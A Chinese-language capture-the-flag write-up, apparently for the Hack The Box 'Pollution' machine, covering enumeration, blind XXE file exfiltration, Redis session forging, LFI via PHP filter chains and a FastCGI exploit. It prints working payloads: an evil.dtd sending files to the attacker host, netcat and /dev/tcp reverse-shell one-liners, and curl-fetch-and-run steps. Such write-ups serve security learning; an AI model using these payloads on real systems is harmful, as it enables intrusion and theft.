HTB-Pollution

OverView

好难啊,但是学到了很多东西。

Enumeration

Nmap Scan

Nmap。这里用全端口扫描,不怕时间长,如果不这样的话就扫不出 6379 这个端口

└─$ sudo nmap -sC -sV -T4 -p- 10.10.11.192
[sudo] password for shule: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-14 13:59 CST
Nmap scan report for collect.htb (10.10.11.192)
Host is up (0.61s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 db1d5c65729bc64330a52ba0f01ad5fc (RSA)
|   256 4f7956c5bf20f9f14b9238edcefaac78 (ECDSA)
|_  256 df47554f4ad178a89dcdf8a02fc0fca9 (ED25519)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Home
6379/tcp open  redis   Redis key-value store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1482.99 seconds

主站的域名是 collect.htb

Subdomain-Gather

子域名扫描

sudo wfuzz -c -f subdomain.txt -w /usr/share/amass/wordlists/subdomains.lst -u "http://collect.htb" -H "host:FUZZ.collect.htb" --hl 541

image-20230113135015332

首先来看 collect.htb,主要有两个路由:/register 和 /index 测试发现没有任何 sql 注入的可能性,也发现 admin 用户已经注册,那么我就随便注册一个用户名叫 lk。登录后进入了 /home 页面,但是没有任何其他的功能。

进行 dirsearch 目录扫描。可以发现有 /admin 页面。但是没有其他的利用点了,主站先放着。

image-20230114142816234

Forum Subdomain

去访问一下 forum.collect.htb 发现是一个 mybb 论坛,经过查询,我们是没有办法直接知道版本号的,因此就来翻翻论坛内容。可以知道这个论坛原本是想让内部人员访问的但是开发人员 john 后面不干了。

image-20230114142016044

可以看到 john 用户已经是不激活用户了

image-20230114142105279

Sensitive Information Leakage

在一篇讨论 polluteApi 的帖子中发现了附件

image-20230114141855689

点开看看,可以发现存在类似的 http 请求信息还有 base64 编码

image-20230114142217011

解开看看

image-20230114142312769

内容:

POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=ddac62a28254561001277727cb397baf

尝试替换 Cookie 发现登录不了,但是猜测路由应该是设置管理员,而且给了 token。编撰 http 报文,尝试将自己的用户设置为管理员(将 PHPSESSID 设置为自己的)成功了

image-20230114142627589

回到 collect.htb 访问 admin 页面,这时候发现多了一个 pollution api 注册功能

image-20230114143006862

XXE Blind Inject & Read File

不知道有什么用,尝试抓包一下,发现竟然是 xml 请求

image-20230114143110992

考虑 xee 数据外带

准备好 evil.dtd,由于是 php 环境,因此利用 php 协议

<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://10.10.16.7/?x=%file;'>">
%eval;
%exfiltrate;

开启 80 端口 http 服务

python3 -m http.server 80

提交 payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.16.7/evil.dtd"> %xxe;]>
<root><method>POST</method><uri>/auth/register</uri><user><username>lk</username><password>123</password></user></root>

可以发现响应有语法错误,但是还是得到了回显

image-20230114144009948

试着读 /etc/passwd 却不行,估计是由于 url 过长发不了请求。因此我们采用压缩流

将 evil.dtd 改成

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://10.10.16.7/?x=%file;'>">
%eval;
%exfiltrate;

这时候解压变成了

<?php

echo zlib_decode(base64_decode(''));

这样就可以读取内容较大的文件了

尝试读取 index.php

<?php

require '../bootstrap.php';

use app\classes\Routes;
use app\classes\Uri;


$routes = [
    "/" => "controllers/index.php",
    "/login" => "controllers/login.php",
    "/register" => "controllers/register.php",
    "/home" => "controllers/home.php",
    "/admin" => "controllers/admin.php",
    "/api" => "controllers/api.php",
    "/set/role/admin" => "controllers/set_role_admin.php",
    "/logout" => "controllers/logout.php"
];

$uri = Uri::load();
require Routes::load($uri, $routes);

想读一下其他 php 发现都读不了,也不知道怎么回事,后来才想明白当前路径不一定就是在这里,我们并不知道当前路径的位置和绝对路径

读一下 ../bootstrap.php,发现了 redis 的授权密码COLLECTR3D1SPASS

<?php
ini_set('session.save_handler','redis');
ini_set('session.save_path','tcp://127.0.0.1:6379/?auth=COLLECTR3D1SPASS');

session_start();

require '../vendor/autoload.php';

读一下 ../vendor/autoload.php

<?php

// autoload.php @generated by Composer

if (PHP_VERSION_ID < 50600) {
    echo 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
    exit(1);
}

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit6ed02d0b5fad16cf9e1009d90bda7689::getLoader();

读一下 .httaccess 发现可以

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</IfModule>

但是没有什么有用信息

Redis Enumeration

直接用读取到的授权码连接 redis 数据库吧

redis-cli -h 10.10.11.192 -p 6379 -a COLLECTR3D1SPASS

redis 信息收集

查看信息

info

可以看到版本是 6.0.16,因此不能用主从复制了,尝试写 shell,但是并不知道网站的绝对路径

获取所有配置项

CONFIG GET *

查看所有的 key

 keys *

但是没什么用

image-20230114151120474

但是我们可以用 config set dir 确定存在路径

image-20230114163134440

看了别人的做法才知道原来别人用 redis 试出了 /var/www/collect/app 这个路径,也就是之前的 controllers 是在这个目录下。

访问一下 developers.collect.htb

image-20230114151245878

需要授权才能访问

利用之前的 xxe 读取一下 .htpasswd

.htpasswd 用于建立和更新存储用户名、密码的文本文件, 用于对HTTP用户的 basic 认证。

由于/var/www/developers 存在

我们用 xxe 读取

 /var/www/developers/.htpasswd

结果

developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1

检测一下密码类型

image-20230114155104871

hashcat 爆破

hashcat -m 1600 hash.txt -a 0 /usr/share/wordlists/rockyou.txt

得到结果

r0cket

image-20230114155308904

但是访问站点又遇到了一个 login.php 尝试拥有的用户根本访问不了,于是读取 /var/www/developers/login.php

image-20230114165956378

核心代码如下:

<?php
require './bootstrap.php';

if(isset($_SESSION['auth']) && $_SESSION['auth'] == True)
{
    die(header("Location: /"));
}

$db = new mysqli("localhost", "webapp_user", "Str0ngP4ssw0rdB*12@1", "developers");
$db->set_charset('utf8mb4');
$db->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);

if (isset($_POST['username']) && !empty($_POST['username']) && isset($_POST['password']) && !empty($_POST['password'])) {
    $stmt = $db->prepare("SELECT * FROM users where username=?");
    $stmt->bind_param("s", $_POST['username']);
    $stmt->execute();
    $result = $stmt->get_result();
    $row = $result->fetch_object();

    if ($row && $row->username == $_POST['username'] && $row->password == md5($_POST['password'])) {
        $_SESSION['username'] = $_POST['username'];
        $_SESSION['auth'] = True;

        die(header('Location: /'));
    }
}
?>

很明显啊,如果 Cookie 中 auth 的值为 true 那么就放行,或者是能够知道 mysql 数据库里面的值用户完成登录,也能够放行。但是可惜 3306 不开放。

搜索了一下,发现可以通过 redis 修改 php Cookie 对应的值

"username|s:3:\"abc\";role|s:5:\"admin\";"

修改为

"username|s:3:\"abc\";role|s:5:\"admin\";auth|s:4:\"True\";"

其实这就是 Php Session 的存储格式

image-20230114174611895

这个时候就可以直接绕过 Login.php 了

LFI & Foothold

登录进去以后发现文件包含

image-20230114170159653

可以用 https://github.com/synacktiv/php_filter_chain_generator 进行 php 协议的利用

image-20230114170318279

image-20230114170548988

但是由于 url 过长,没有办法连接哥斯拉,读取文件会有字符干扰,提取不便,因此需要来个反弹 shell。这里想了很久,因为如果生成的是反弹 shell 的 php 代码会导致 url 过长。最后用这个方法

1=`rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/bash%20-i%202>%261|nc%2010.10.16.7%201337%20>/tmp/f`;

当然也可以这样,先用 curl 上传一个文件,文件中包含恶意的反弹 shell 代码,添加可执行权限后远程执行 bash -c 命令执行反弹 shell 文件。

# create a file named 'a' with the following contents:

#!/bin/bash
bash -i >& /dev/tcp/10.10.x.x/1337 0>&1

# next generate the payloads and repeat the steps. Make sure python simple HTTP server is hosting the file you made.

# payload to grab the file from server
python3 chain.py --chain '<?=`curl 10.10.x.x/a -o /tmp/a` ?>'

# payload to make the file executable
python3 chain.py --chain '<?=`chmod +x /tmp/a` ?>'

# stand up listener for rev shell
nc -lvnp 1337

# payload to execute your reverse shell on server
python3 chain.py --chain '<?=`bash -c /tmp/a` ?>'

于是就终于得到了 www-data 用户的 shell

为了防止 shell 掉,添加个 webshells

user.txt

发现 9000 端口开着

netstat -ano

image-20230114175144364

我们看一下端口对应的服务,这里用 lsof 能够显示服务名

lsof -i:9000

image-20230114191356975

可以看到是 fpm 服务,我们可以找到利用的方法 https://book.hacktricks.xyz/network-services-pentesting/9000-pentesting-fastcgi

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.7 1338 >/tmp/f'); echo '-->';"
FILENAMES="/var/www/developers/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done

但是发现 system 中反弹 shell 的内容不执行。但是如果只让他执行一个 whoami 那么就会显示victor

因此决定编写一个 a 文件,里面放置的内容是

bash -i >& /dev/tcp/10.10.16.7/1338 0>&1

让 fast-cgi 执行 basc -c /tmp/a 即可完成反弹 shell

image-20230114192111699

得到 user.txt,至于提权,看了题解是用原型污染链,转发 3000 端口到本地进行利用,属于是我不会的范围了。

End

最后来看一下目录结构,困扰了很久

/var/www
    /collect
        - /app
            - /classes
            - /controllers
                - admin.php
                - api.php
                - index.php
                - logout.php
                - register.php
                - set_role_admin.php
            - /functions
            - /models
            - /views
        - bootstrap.php
        - composer.json
        - config.php
        - /public
            - .htaccess
            - /assets
            - index.php
        - /vendor
            - autoload.php
            - /composer
    /developers
        - .htaccess
        - .htpasswd
        - /assets
        - bootstrap.php
        - calendar.php
        - footer.php
        - home.php
        - index.php
        - login.php
        - logout.php
        - projects.php
    /forum

而实际上当时我们读到的 index.php 是在 /var/www/collect/public 中的,怪不得读不到其他的文件

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇